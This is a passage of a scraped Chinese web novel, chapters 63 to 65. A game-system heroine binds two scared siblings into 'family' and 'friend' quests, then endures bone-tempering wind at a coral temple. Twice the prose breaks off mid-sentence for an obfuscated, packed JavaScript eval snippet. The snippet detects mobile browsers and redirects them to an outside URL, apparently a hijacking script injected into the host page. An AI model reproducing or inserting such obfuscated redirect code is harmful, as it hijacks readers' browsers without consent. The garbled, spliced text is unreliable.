他们以为这就结束了,便把手放下来。 结果滕棠并没有完事,怕薛五羽有什么王牌,或者奇怪的宝物,避免此人复活,她又唰地插进丹田,将灵根捣毁。 兄妹二人忍不住摸向腹部,双腿微微打颤。 其后滕棠还觉不够,等刀上的火把整个尸体烧成灰,她才掐了个净身诀,开始翻看对方的储物戒。 “绝音谷有无特殊的寻人灵器?”她转过身,问那对想逃不敢逃的兄妹。 “不、不知道。”哥哥结巴道。妹妹胆子更小,抓着她哥的袖子,一个字都不敢说。 滕棠翻了翻,也不太懂里面某些灵器的使用方法,怕放身上被绝音谷追踪到自己,她只取出灵石、灵丹和一些心法。 这叫薛五羽的没什么灵石,值钱的都是些灵器,最贵的应该是那把琴。 滕棠这个人最是谨慎,一样灵器都没拿,把方才的猫眼珊瑚玉扔给两兄妹,她将剩下的东西留在戒指中,丢进骨灰里。 接到猫眼珊瑚玉的二人,宛如接到个烫手芋头,手抖个不停,心里慌得很。在他们眼里,滕棠比薛五羽可怕多了,要是对他们动手,肯定更快、更狠,最后死得只剩灰灰。 滕棠瞄了他们一眼,忽然想起系统新活动[暖冬结缘],眼神热情起来。 兄妹俩被她看得全身冒汗,互相抓着手,一动不动。 活动有三组,玩家需要和不同的人组成家人、亲友和情侣,完成相应任务,领取奖励。 李偲缨和付岚山肯定是不行的,一个睡不醒,一个是妖不是人。 “你们叫什么名字?”滕棠朝他们友好一笑,抬手摆向右边:“不如我们边走边聊?早点离开这儿,降低危险系数。” 两兄妹是想离开,但不是跟她一起。 “我我叫刘仁。”“我叫、刘慈。”二人僵硬地挪动脚步,紧张地回答。 滕棠点开他们头上的小三角,把名字记下,在空中用灵力写了个“滕棠”介绍自己,随后打开系统,把刘慈绑定成[妹妹],把刘仁绑定成[挚友],还剩一个[伴侣]空着没有人选。 绑定完后,任务和奖励罗列出来。 [1、和挚友互相点赞至少三次。2、和挚友互相切磋至少两次。3、和挚友互相品酒至少一次。] [1、和妹妹一起拍照至少三次。2、和妹妹一起做饭至少两次。3、和妹妹一起打扮至少一次。] 滕棠全部背下,回过头和他们攀谈:“你们也用刀?” “是、是的。”刘仁挡在妹妹身前,毕恭毕敬地回她。 滕棠看到他擦汗,问:“你很热吗?” 刘仁立马放下手:“不热不热。” 滕棠见他们如此害羞放不开,想了想,决定从共同爱好谈起:“你们狂刀门都用刀吗?” 说完,她把自己的取出来,在二人惊慌失措中,放到地上观赏:“我这刀如何?” 刘仁擦完汗,衣袖湿了一截,他站在刀前,想起薛五羽的头、丹田还有骨灰,半天挤出一个“好”字。 “谢谢。”滕棠拿着他的刀也认真看了看,互夸道:“你的也很好。” [(烟花)完成挚友任务一] 滕棠见这样可行,又抬头看向刘仁的脸,夸道:“你长得很好。你觉得我怎么样?” 63. 第 63 章 面前的女子到底要做什么,想听人夸她容貌?刘仁汗流不止,低头想了无数词,奈何嘴笨,犹犹豫豫再次挤出一个“好”字。 [(烟花)完成挚友任务一] 真好,他好配合!滕棠心道。她往前几步,在刘仁瑟缩中,捏起他肩上的门派外衫,继续夸道:“你的衣服很好。你觉得我身上的如何?” 一旁的刘慈目怔口呆,见女刀修拉扯自家哥哥的衣服,而哥哥收敛肩膀,低头微弓身子,摆出一副被调戏的姿势……这瞬间她产生了很多想法,这女的不会是看上她兄长了吧! 有此想法的不止她,还有脚边毛茸茸的付岚山,猫眼快瞪出来:“滕棠,你脑子被驴踢了?” 刘仁长得不差,清俊的脸红得跟猴屁股似的,面对滕棠的强势逼近,他不由地双手抱住胸膛,后退半步:“衣服很好。姑娘,男女授、授受不亲。” [(烟花)完成挚友任务一] 这是第三次了,滕棠默数着。她打开活动页面,上面[挚友]第一项奖励已经可以领取,是块限定玉佩和100上品灵石。 她把上品灵石存进财富栏,将精美玉佩丢给刘仁当作谢礼,没注意到背后刻的字。 刘仁收到玉佩很是惊讶,向来是男子送女子玉饰表明心意,哪有女子送男子的。 他翻转着漂亮的双龙美玉,在刘慈和付岚山的嘀咕声里,看到背后“患难与共”四个小字,神情一顿,登时想得更歪,面对滕棠愈发不自在,他第一次遇到如此直接的女子。 “我此番跟随长老前来,是为了找到圣殿,提升修为。”他嗫嚅着,委婉解释现阶段还不想找道侣。 滕棠一个直来直往的现代人,根本没想那么多,何况对方最多十六岁,在她眼里还是个孩子。第一次听刘仁说这么多字,以为是在化解陌生人之间的尴尬,便接过话题。 “圣殿是什么?在哪里?” 刘仁红着脸不停瞟她,慢腾腾道:“人鱼族的珊瑚王冠开启秘境后,里面会出现五座珊瑚岛,白岛圣殿内能夯硬骨头,黄岛圣殿能拓宽声域,蓝岛圣殿能增长精神力,红岛圣殿能强韧血肉,紫岛圣殿能磨尖鳞爪。以前人鱼族便是靠这五大圣殿,成为一大强族,后来珊瑚王冠消失,他们没落了一万年。” 滕棠听完,眼睛亮晶晶的,心想,还有不花钱就能变强的好地方,简直正中她心:“这么厉害,我们也可以进去?” “对啊,大家来此的目的,就是圣殿。现在他们已经开始修行了吧。” 刘仁先是点头,后又摇了一下:“黄岛声域和紫岛鳞爪独属人鱼族,我们进去无益。至于其余三大圣殿……万年前有不少人试过,取得入殿资格十分困难,天纵奇才也只获得一个资格。不过不进殿内,普通人亦有不少增进,即使是经脉俱废之体。” 末了,不知出于何种心理,他还拐弯点明自己本事:“我来之前在门派内测试过,掌门说我骨硬筋韧,是少有能进白岛圣殿之人,我才愿意来的。” 然滕棠并不在意他天赋如何好,此刻心中只有“不氪金,废柴免费变强”的念头。算算时间,大家都上岛两日有余,要是有人率先进入圣殿……不行!得抓紧时间! 她手一拍,为了快点完成任务,决定左右开弓,一边在半空召出三道水幕,一边捡刀对刘仁发出[切磋邀请],念出系统语:[刘仁!来吧,比试一下,看我们二人谁更厉害!] 滕棠并不担心他不同意,因为以前和鲁酥酥试过,他们没有拒绝的选项,总是在倒数5秒后,情不自禁地手拿武器,和她进行热血沸腾的切磋。 “滕棠?”付岚山完全傻眼,搞不懂她在做什么,之前夸人家好,还送人家玉佩,聊了会儿圣殿后,突然要跟人家打。 [切磋正式开启,5、4、3、2、1!] 木讷的刘仁忽然也变得很奇怪,动作神态表现得很想跟滕棠一战,他拔-出自己的刀,整个人气势大改,从低眉垂眼的羞涩小弟,转瞬变成摩拳擦掌的刀修。他脑子里只有一个想法,用尽全力,打败滕棠! “铛铛。” 两把厚重的大刀相撞,刘仁用出了十成灵力,滕棠用了三成,威震得周围珊瑚树成片倾倒。 他们这一比试,不像是闹着玩的,从表情的认真,到刀与刀的对劈,火花四射,气氛紧张到顶点。二人你来我往,动作极其快,手挥刀的姿势比大多数剑修都要轻盈。 刘仁确实有几分实力,他的刀法熟练得和他年纪不相符,角度异常刁钻。 刘慈大为吃惊地看着剑拔弩张的二人,不懂她谦虚低调的兄长,何时变得如此好战,忙上前阻止:“哥哥?你们不要再打了!” 几招之后,刘仁发现自己灵力不如滕棠浑厚,忽然站定,周围一米的灵力震荡,化为道道刀气护佑身躯。这是刀域,只有极少数的刀修才能修炼成。 滕棠停下手,出乎意料地没有额外做出应对,而是把一旁的刘慈拉到身边。 刘慈以为她被哥哥的刀域吓到,要拿自己当盾作弊,便忍不住道:“你此举可耻!”骂完想起滕棠对薛五羽的所作所为,连忙住嘴,一双眼睛防备地盯着她。 谁料滕棠并不是要拿她针对刘仁,而是掰正她的正面朝向,指着第一道水幕:“妹妹你看那!” 刘慈不由抬头,半空第一道水幕中,突然显出二人映像。她还没反应过来滕棠的用意,便被推到一边闲置。 [(烟花)完成妹妹任务一] 刀域的形成用了三秒。滕棠拍好照片,在刘仁横刀攻来时,扭扭手腕,长刀瞬息蓄力,眼神倏然变得冷若冰霜,她没有什么刀域,只有磅礴浑厚的灵力。 哐当—— 这一次,不再是势均力敌的形势,刘仁的刀直接脱手,豁了个口插进珊瑚从中。 [切磋胜利!] [(烟花)完成挚友任务二] …… 滕棠收起刀,不受控地念出设定好的随机胜利台词:[无敌是多么寂寞。] 她念完,走向傻呆呆的刘慈,右手抬起对方的下巴,朝不同方位的水幕咔嚓拍照。 [(烟花)完成妹妹任务一] [(烟花)完成妹妹任务一] 她好像很忙,映完三道水幕,马不停歇地打开生活玩法,在[厨师]商店购买灵枳鸡,拿出各种瓶瓶罐罐,有香料、酱粉、油水,开始就地起灶。 “妹妹你先倒油下去。” 急匆匆吩咐完刘慈,时间仅过去十来秒,滕棠走到瘫坐地上的刘仁面前,中气十足道:“刘仁!来吧,比试一下,看我们二人谁更厉害!” 五秒的等待时间里,刘慈正在倒油。滕棠退回两三步,拿出一盒胭脂,用粉扑啪啪粘粉,在自己两颊随意按了下,而后伸手朝刘慈的脸按去。 刘慈提着油桶,大惊失色,一副“你不要过来啊”的神情。奈何油桶太大,她没有空手,只能忍受嫣红的粉挂在自己的脸上。 铺完腮红并没收到提示,滕棠免不得放下打扮这一项,先和刘仁切磋。 上辈子便是时间管理大师,滕棠应付两三件事时,得心应手。整个人仿佛有三头六臂,切磋之余,用刀处理灵枳鸡,处理完继续和刘仁对砍,等人开刀域,她唰唰清理鸡毛,还有空拿口红在刘慈和自己嘴上画一道。 “滕棠你是不是疯了?”付岚山的喵声很撕裂,显然受到不少惊吓。 他看着滕棠来来去去,一会儿打人,一会儿砍鸡,一会儿丑化刘慈,觉得她为爱疯魔了。他虽不知世间情为何物,但见了滕棠遇到刘仁后的表现,他希望自己此生都不要遇到。 六项任务,最后以滕棠把一杯酒塞到刘仁手上,灌到他嘴里结束。整个过程,刘慈和刘仁都是傻的,像洋娃娃一样任她摆放。 时间只过去五分钟,这片区域真“一地鸡毛”,灵枳鸡油滋滋地在锅里炸着,一半生一半熟。 刘仁口舌火辣,欲哭无泪,表情像极了被欺负的小媳妇,抓着妹妹的手问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032722|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“刚才哥哥喝的可是合卺酒?” 他好怕,好怕滕棠下一秒拿出张红色大床,抗他去洞房。 滕棠做完任务,高兴地领取奖励后,把精美的首饰衣物放在二人面前,“这些送予你们,谢谢二位配合我”,她用水灵根打湿巾帕,替刘慈擦干净脸,动作很轻柔。 刘慈神情是恍惚的,和哥哥耸肩缩背在一块,从头至尾没说一个字。 滕棠结束任务,问他们:“你们的传音石呢?留个联系方式吧,以后你们有什么需要我帮忙的地方,可以和我说。” 刘仁颤颤巍巍地递出两块传音石,“不不必了”,他结巴完,发现滕棠印好联络点,便背起李偲缨要走,有些怔愣:“你去哪儿?” 刘慈在袖子底下使劲掐他,暗地传音:“让她走啊,难不成哥哥你真想嫁给她?” 刘仁瞬间没了声,垂头避开滕棠的视线。 “两位道友就此别过,我们日后有缘相见!” 滕棠没注意他们的小动作,开心地道完别,朝付岚山招手:“走了,去圣殿免费变强。” 闪闪发光的大眼肥猫,看看前方笑容灿烂的女子,再看看右边相互依偎的兄妹,尾巴卷成问号的形状:“他们呢?你和刘仁……” 滕棠绑好李偲缨,转身开始狂奔。 她留下一阵风,那风吹得付岚山毛发凌乱。它追上滕棠飞快的脚步,在后边喵喵喵地一直叫。 刘仁刘慈听不懂猫语,眼睁睁地看着滕棠跑走,留他们二人和纷飞的鸡毛。旁边的锅里,灵枳鸡炸得香气四溢,旁边还有一份粗制滥造的凉拌蔬菜。 “她离开了?”刘慈不可置信地问兄长。 方圆千米安安静静,滕棠走后一直没有回来。刘仁等了会儿,把豁了两个口的刀捡起来,心里莫名有点说不出的失望。打了两次,她是不是觉得自己太弱了? 这边滕棠背着李偲缨暴走,眼睛里充斥着旁人看不懂的喜悦。天杀的,被金钱与贫穷压迫这么久,她这具废柴之体,终于有机会不氪金增长实力! 她绝不可能放过这个机会! 然而,滕棠想的还是太简单了,她以为的到圣殿增进修为,是待在那里,无痛变强。 等她发现大部队,找到白珊瑚岛的中心圣殿,才知没那么简单。世上绝大多数的成功,果然走不了捷径。免费的好东西背后,通常要付出一定的辛劳。 圣殿在岛屿中心,最高位置。外面由巨大的五棵珊瑚树围成,枝芽错综复杂地缠在一起,挂满了乳白色的果子,远望像条布满鳞片的人鱼尾巴。 珊瑚树下方,五根主干不规则弯拱,形成大小不一的门洞,里面有人盘坐的背影。外面的人更多,约莫上千个,大汗淋漓地熬受里面散发的余波。 圣殿外人太多,滕棠几乎下不了脚,她找了个空隙挤进去,眨眼被一股威力压得直不起身,双膝跪在地上,听见一道威严的声音。 这声音不是人族喉咙能发出来的,有人鱼独特瑰丽的声线,像和弦,协调丰满地叠了好几个音。 “白珊瑚圣殿,助我族后辈锤炼千骨。来者以骨定圈坛……” 滕棠全身都在抖,忍痛听完这段话,才知入殿资格的获取,不一定是靠天赋。 规则很简单,先以骨头的天资定圈数。天生骨头好的人,轻而易举进到殿中圈内修炼,其他差的人只能从外围开始,用圣殿散发的锤骨风进行自修,直到骨头足够坚硬,进入下一圈,经历更多的锤骨风。 每前进一圈,还有奖励。进第几圈,珊瑚树便掉几颗骨果,服用后,骨质会愈发坚不可摧,让修行者可以消除损伤,无负担地继续经历锤骨风。 难怪人鱼族没落了。若有这圣殿在,今朝恐怕是世间最强一族。 滕棠知晓规则后,摒弃了原先的想法。她之前以为自己资质差,顶多在外面耗时间拿点好处,现在既然可以靠努力进去,她有什么不能忍受的? 她只缺钱,最不缺的是忍耐力和肝! 64. 第 64 章 洁白的鱼尾之下,上千人叫苦连天,放眼四周,无一人表情是轻松的。 和锤骨风的接触面积越大,受到的痛楚越多。大部分修者选择趴伏姿势,以头作为迎接点,避免全身被锤骨风打夯。稍有意志者,则席地盘坐,借此多淬炼一部分身体。 滕棠处在圣殿最外第一圈,身下长满短柱状的软珊瑚,浅白带点透明。她跪在上方如同陷进棉花被子里,十分舒适。但无论地面如何柔软,仍丝毫缓解不了锤骨风带来的痛苦。 吹来的风分明很微弱,穿透进血肉中后,她的骨头好似被锤子抡挞,疼痛难当。 “嘶,天下果然没有免费的午餐。”她喃喃自语。 与她情况相反,付岚山用着九色猫的身体,优哉游哉地跨过一二圈,一直前进到第五圈,刚好处在圣殿门口。 他回头朝滕棠嘚瑟炫耀,抻着爪子,尾巴高高竖起,投来一个“你不行”的眼神。 滕棠跪在最外围,和他对视一眼,心里的胜负欲之火腾地燃烧起来。 她怎么可以输给一只假猫!自己的资质也太差了! 滕棠转动头部数了数,第一圈除她外,只有两个十三、四岁的小孩,第二圈也没什么人,大多数修者处在第三圈及以内,这意味着她骨资比寻常人差三倍。 虽然比起当初干瘦如柴、风吹就倒的身体,已经好很多,但滕棠觉得还是不够。 “难怪这个角色那么早就下线。”她咬着牙道。 这场没有弊端的修行,说什么也要坚持下去。 她不想一直依赖系统。自从上次在墓室内遇到突然更新的情况,滕棠就一直有个念头,把身体的实力提上去! 光有精神力不行,精神力只适合近战,而世上修者大都喜好远攻,不给敌人近身的机会。 何况精神力还会因对方境界而削弱,她一旦遇到个高她三大境界的强者,即使精神力比对方强,但若遭到灵力与道域的克制,最终仍是砧板上的鱼。 要想实现远攻无疏漏、近战无敌的理想,所要走的路,漫长而艰辛。 滕棠费力地抬起头,试图爬进第二圈,却发现有层光幕挡着她,代表资格不够。 她背上的李偲缨睡得依旧很沉,浅浅的呼吸扫在脖子上很痒。外面的锤骨风对李偲缨来说,和微风拂面没什么区别。 滕棠拿着李偲缨的手支进第二圈,发现没有任何阻碍。那个瞬间她承认,她嫉妒了…… 人比人,气死人。 滕棠把熟睡的李偲缨放到身旁躺着,也想看看自己和对方的差距究竟多大。李偲缨即便不是女一,角色地位肯定比一般女配要高,就冲她那[至寒神体],世上能有几个。 她始终忘不了当初龙傲天的话,在那座假墓包里,对方说自己是“至柔仙体”,并带一句“好找”,就表明她这样的人有不少,说不定都是孱弱无力之辈,骨软筋酥,才被称为“至柔”。 滕棠不想当柔弱不能自理之人,被一个词所定义。世上一切皆有可能,何况命运本该掌握在自己手里,想成为怎样的人,应由自己做决定。 要当就当至强体,她要把“至柔”二字给改了!滕棠心一横,撑起双臂,接受更多的锤骨风。 无情的风一波接一波地吹出来,到她这儿仅剩余力不足的微风,摸了下她的头和手便散开。但就是这么一点锤骨风,让滕棠头痛欲裂,颅骨好似被锤子敲开,双手一直颤颤巍巍的,撑不住身子。 她双手握拳,颗颗汗珠从脸上滴落,满目的不甘。以前比一般人差十倍,如今差三倍,依旧是差的。她想成为强者,而不是金字塔下的蚍蜉。 “起来。”滕棠对自己说道,那张粉杏沾露的脸上,满是执着与倔强。 在一众或坐或卧的修者后面,她把牙关咬得很紧,在极限之中,缓而慢地站直纤瘦的身体。 呼喇——呼喇—— 锤骨风自圣殿中央谡谡吹出,力度由内往外递减。每个人处在自己的圈子里,没有谁是站着的状态,皆是一个部位接一个部位地锤炼,头骨好了再练腿骨,逐一夯实,这样能减少百分之九十的痛苦。 站起来,意味着从头至尾一起修炼,正面身骨皆会被锤骨风打硪。 那种高强度的锻压,历来罕有人能承受,珊瑚圣殿磨炼过那么多人和人鱼,至今选择立身修行者,单手可数。 滕棠对自己向来狠得下心,愿意付出比别人更多的努力,以达到更高的位置。她喜欢把自己推向极端,别人锤炼一个部位,她偏偏要锻打全身。 “滕棠你怎么站起来了!你快坐下,看别人是怎么修炼的。” 付岚山用尾巴对着风向,见滕棠像根杆子一样杵在外圈,十分担忧她被痛死,于是在人群的吼叫声里不断喵喵。 滕棠确实痛!以至于把他的话当作耳边风。此时,她脑子里只有一个意识,能站着,绝不坐着。 在一众或坐或卧的人群里,能站着的,必然异常醒目。 很快,前面两圈有几个人发现她,震惊一秒,又都在想:此女顶多坚持十来瞬。 然而一秒、两秒过去,滕棠并没有倒下。她身后像有一根柱子似的,非但没倒下,连腰都未弯一分。 转身朝她看来的视线逐渐增多,有些修者看着看着,甚至惊得忘了自己的修行。 在众人的视线下,滕棠的脸色愈来愈苍白,汗水已经止了,身体现在开始发冷。所有人都觉得她坚持不了一盏茶,然后她做到了,后来他们又觉得她挺不过一炷香,她依旧熬下来了。 百分之百的痛楚能承受到现在,众人皆不信了。 某个修者恍然大悟:“她莫非在做戏?” 另一人回他:“肯定是,都别被她耽搁了。她肯定是三圈的人,故意在一圈耍我们呢。” 所有人听此,露出了然的神情,对滕棠这种招揽注意的行为十分不耻,为了不让大家修行,竟使出如此手段。 恰巧这会儿,滕棠感觉自身的骨头被捶打得硬了些,她在众人不善地眼神下,拖着李偲缨迈出脚步。 谁料在苦熬一炷香后,她真的进入了第二圈! “看吧,我就说,她肯定是故意耍我们的!”先前质疑者好似得到确切答案,激动道。 被恶意揣测的滕棠,瞟了一眼他,没有回话。不在意这些人怎么想,也没有心思去想。她身上的痛感已经足够多,胀满到她必须集中所有精神力,维持最后的意志与清醒。 她颤巍巍地伸出手,接下圣殿珊瑚树送给她的骨果,一边吃一边熬受增强一半的锤骨风。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032723|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头骨、肋骨、手腿中的骨头,经受一阵阵的锤骨风,好似被几千个锤子敲打,临近断裂破碎的边缘。 吃下的骨果,在体内化为白色的暖流,渗透进骨骼之中,不仅强化了骨头坚硬度,还温暖了冰冷发寒的身体。 滕棠在冰与火、捶打和新添中来去,那感受非毅力极强者能忍耐。她哆哆嗦嗦地站直身体,面对锤骨风吹来时,竟对自己更狠地,深深吸了一口。 那瞬间,她感觉自己的牙齿失去了知觉,而后脖子、颅骨冰寒刺痛,使得她差点失去意识没站住。 “继续。”她动了动麻木的颌骨,含糊说道,一双偏圆的眼睛是无神的。 离正常人的骨头强度,还差一圈。她在心里默念完,努力抬头挺胸,让轻风吹进自己身体的每一处。 “咯吱咯吱……” 锤骨风透过血肉,吹进的每根骨头都会发出轻响。 骨头如同粗铁,遭重压淬炼之后,逐渐变得密实。杂质被敲打出来,循环进血液之中,一点点被排出来。空隙被砥砺殆尽,使得每一寸骨头更加坚如磐石。 一分一秒过去,滕棠在第二圈坚持了一个时辰。在剧烈的疼痛过后,她发现她又能前进一圈了,这时的心是满足而雀跃的。 她的骨资终于赶上了众人!而第三圈的这些修者,却只是修炼到胸骨处,还有至少三四个部位等着淬炼。 “滕棠你不痛吗?” 付岚山已经放弃劝说她了,因为不管怎么叫唤,滕棠仍站得笔直笔直的,不愿躺着修炼。他十分不解,滕棠为何可以忍受那样极端的痛苦,换作是他,两秒都坚持不下去。 往日他一直是沉睡状态,根本不了解滕棠。今日忽然改观不少,他没见过比滕棠努力的修者,不仅努力,还有超强的毅力。付岚山望着滕棠,眼底俱是佩服。 痛!怎么可能不痛!滕棠刚跨进第三圈,就被风吹倒在地。附近人见她如此,不少嗤笑出声,有一人趴在软珊瑚上道:“美人弱不禁风的,能进第三圈已经很不错了!” 第四圈有个修者鄙夷地瞧向滕棠,哼了一声:“在这里出风头有什么用,有本事进圣殿啊!像龙傲天那样的天之骄子,才值得我等瞩目。” 这番话若没有“龙傲天”三个字,滕棠也许会无视。她蓦地回头,问那修者:“你说什么?龙傲天在里面?” “亏你知晓无涯宗新晋天才,以龙傲天的资质,怎可能在外面。获得圣殿资格的,目前就三个,龙傲天排在第一,位于第九圈。里面其他两个都不如他,排在第七圈,仅能同修两个部位。龙傲天你知道多厉害么?他能做到同时修炼三个部位!哪像你,做戏给众人看。” 修者说得很自豪,仿佛他就是龙傲天。 滕棠这下被刺激到了!恶狠狠吞下两个骨果,她全身都在抖,一双眼睛血红,快把身下的珊瑚盯出洞,“站起来”,她对自己这身软骨头喊道。 手掌离开珊瑚,脊背和腿逐渐直立,滕棠在剧痛和哆嗦中,再次站了起来。 一阵锤骨风刮来,她的五官扭曲得没眼看,所有骨头“咯嚓咯嚓”地响,仿佛下一秒就会散架。 不就是内卷么!她最爱卷了,可以比任何人都卷。龙傲天三个部位是吧?那她所有部位一起全练! 65. 第 65 章 “你为何能站!” 一道嘶哑的声音,引来上百人的视线。 原本鄙夷滕棠的第四圈修者,此时大为震惊地张着嘴,哑了嗓子。 “咯咔咯咔……”滕棠体内所有骨头在颤响,于破碎边缘悬着,声音极其可怖。 “滕棠你何必折磨自身?” 付岚山焦急地喊道。他的尾巴被锤骨风吹得无精打采,耷拉在腿后。光是听滕棠的骨头响,他便觉得痛,莫说去感受被上千锤子共同搥击。 可惜进入了圈,便不能后退。圣殿只允许一人一生进一次,一次最长时间为一年,他若退一圈,立马会被圣殿弹出去,再也不能进来,只能着急地看着。 呼啦—— 又是一阵寒气刮来,打在那似竹竿的女子身上,恍如一块巨大的秤砣,撞得她摇摇欲坠。 滕棠坚定不移地抬起头来,露出一张苍白的脸庞,棕黑眸子并没有聚焦。她的注意力在灵台之上,她发现只要专心于精神之力,化己为灵台,便能达到无我之境,短暂地脱离肉身的痛苦。 她回到了当初在受戒台时的状态,全然不知,在这种状态下,不仅能屏蔽痛苦,还能修炼精神力。 且这个时候,她融合的那簇精神力,像旁观者一样游走体内,等锤骨风吹来,形成一张拦网,把多余的或是敲过骨头的风,带到脆弱的部位,让全身骨头的硬度更加均衡。 一回生二回熟,她突然察觉到旁人不知晓的秘密——锤骨风可以吸收。风中有很淡的看不见的力量,在锻压骨头之后,散成比细沙还微小的点点,慢慢消失。 滕棠试图用精神力聚拢这些微小的力量,带入骨头之中,她成功了。骨头不仅变得更硬,而且受损程度大幅降低。 比沙子还小的力量聚成一粒芝麻,再积累成一把,渐渐地,滕棠愉悦了起来,她享受这种过程,像是在亲手打磨自己的骨头,让其更加坚不可摧。 时间过去的很快,滕棠的锤炼速度又得到大幅度提升,从比别人快十倍,到现在快二十倍。她已经迫不及待地想进圣殿,殿内风更大,神秘的力量更多,到时穰穰满家,必定让人欢喜。 世上有多少人梦寐以求,沉浸到大道之中,借此修炼心境,增长精神力。可惜鲜有人能做到极端的专注,把所有抛开,将自我沉浸在一念之中。 人杂念颇多,但若归于一念,不冥空而想,此念便能臻至心境。一念可成佛,一念可入魔,一念可懈怠而虚度岁月,一念可砥行因寸阴是惜。 只要醉淹于这一念,定心不变,大道便能降临身与魂,忍过孤寂,熬过苦痛,不为世俗干扰,潜心修行,只为有一日渡劫成仙,飞升进更宽广的大道之中。 “她是哪个门派的?” 附近除了痛叫声,还有七嘴八舌的议论声。滕棠右前方的修者骨资在第四圈,发现站立的女子从半柱香熬到半个时辰,非但没倒下,状态竟渐入佳境,脸不白了,气不喘了,只有骨头在咯咔咔的响。 他不相信这么纤瘦的人是第四圈的,即使对方是,在第三圈也断然无法站立这么久。 “没见过。她要么没穿门派衣服,要么是哪个城的散修。”一个三圈的修者猜测道。 另一个离滕棠近的,就在她左手边,盯着饮血套装瞧了半晌,惊讶道:“她这件黑红闪光的衣裳看着不便宜啊,不像是散修,散修能穿得起这种衣裳?” 他这句话踩到不少人痛处,马上就有散修驳斥:“谁说散修就一定穷,我见过不少富的!她这身,我也买得起。” “切,你就吹牛吧。” 众人交流半日,竟无一人认识滕棠。 原先第四圈鄙夷滕棠那位,忽然出声:“她刚才不是提了龙傲天的名字?呵,我看啊,跟里面那个淘泽姳是一路货色,打算借此招,诱摄龙傲天的魂呢。” “淘泽姳?那个游奇门的才女?” 八卦向来不缺听众,尤其主角是圣殿中的两位。 问话的那名修者好像知道不少事,嘲笑道:“淘泽姳在游奇门这个不上不下的门派里,算是厉害,放整个百门盟里,可就不行咯,龙傲天能看上她?” “嘿,你还莫说。” 有一人恰好是游奇门的弟子,提起此事满脸骄傲:“我们师姐本事厉害着呢,龙傲天两个月前拜进无涯宗,第一件事就是来我们门派找师姐。” “真的假的?” 众人聊得火热,霎时把修行之事抛却脑后,保持趴着的姿势,全身静止,只有嘴巴在不停地动。 锤骨风一阵阵地吹着,他们的足部已经差不多适应,表情好转不少,还有心情闲聊,丝毫没有变动姿势的打算。 一来是,这些人觉得一年的时间很长,可以慢慢来,二来是大部分人志足意满,觉得自身骨头跟得上水平线,何必折磨自身呢。 和他们相反的,只有滕棠。别人都是趴卧,足朝圣殿,头朝圈外,唯她选择立于众人之间,抬头面迎圣殿的锤骨风,倔强不肯倒下。 约莫一个时辰后,在众人交谈声中,滕棠的双目聚了光。 她长长地呼出一口浊气,昂首往前,极度丝滑地跨过光幕,来到第四圈。这次她站稳了,没有被四圈的风吹倒。 在她抬腿的时候,众人的声音就减弱,齐皆朝她看来,以为她要倒了。 然而事实确实,滕棠站在了鄙夷她之人的右手边。 “!” 全场寂静了两秒。 第四圈那名修者瞪大眼,趴在地上不敢抬头,怕被锤骨风吹到颅骨,只能斜着眼睛往右瞟。怎么可能!她骨资竟能和自己同等?! 他用余光瞄去,扫视到滕棠衣角闪动的光波,质疑她:“你是否用了灵器作弊!如此避开锤骨风,有弊无益,若灵器被吹废,到时吹到你身上,粉碎骨头,轻则躺个半载,重则命丧黄泉。” 滕棠听是听到了,但没有去理会,她只觉得对方聒噪。跟无关紧要且不认识的人解释,完全是浪费时间,何况即使证明了自身,这些先入为主之人也不一定会信。 她啃完骨果,干脆闭上眼,冥想放空一阵,再次尝试入灵台避除痛楚,和精神力合二为一。 她依旧是站着的,既不弯一分腰,也不垂一丝头。 渐渐地,一个、两个时辰过去,这第四圈的风比第三圈大得多,在千锤百炼之后,骨头仍经不起锤骨风的力度。她身上的骨头咔咔直响,好似被水流冲滚的无数石子,声音之恐怖,令前面的付岚山跟着发抖。 嘶……滕棠这女的,对自己太狠了!付岚山到现在,连根尾巴都没淬炼好。 无论是其他方面,亦或骨头的修行,永远离不开专注。锤骨风入体之后,滕棠不仅任它躏碾,且在风散时,把微不可见的力量收集起来,吸收进骨头、骨髓里。 她把修炼当作是重复性的工作,虽枯燥乏味,但结束后会有回报。一点一滴,兢兢业业,不放过风中的任何细小力量。 这样的专注修行,一直到三天后…… 滕棠陡然睁开眼,再次丝滑无比地跨进第五圈——圣殿的门口,来到付岚山旁边。 圣殿掉落了四个骨果,她全部收入囊中,一边啃,一边青着脸感受锤骨风的夯打。她有时也觉得自己疯狂,但人不疯狂枉少年,不可能等到将来老去,暗自后悔没有成仙吧? “怎会如此!” 这次,滕棠是真刺激到众人了。 “她为何进步这般神速!” 所有人都忍不住张头回望,在风没吹来时赶快看一眼,发现她真的跨进了第五圈。 这回付岚山终于能用爪子挠她了,在旁边勾住她衣摆问:“滕棠你怎么做到的?” 滕棠偏过头,对他悄悄传音:“修行时要专注,凝神在灵台上,与精神力融合,痛苦会减去大部分。等风锤骨之后,体内会余留些特别的力量,你用精神力仔细观察,找到后凝聚起来,吸收于骨中,就能像我这样,加速修炼。” 付岚山听是听懂了,但听是一回事,做是另外一回事。他学习了滕棠的方法,放自己身上,只是颤抖着多修炼了两个部位,离一念道之境相差甚远。 他转头想让滕棠再多说点,却发现对方闭目直立,全身骨头咔咔直响,脸纵然白得跟鬼一样,也未放弃立身修炼。 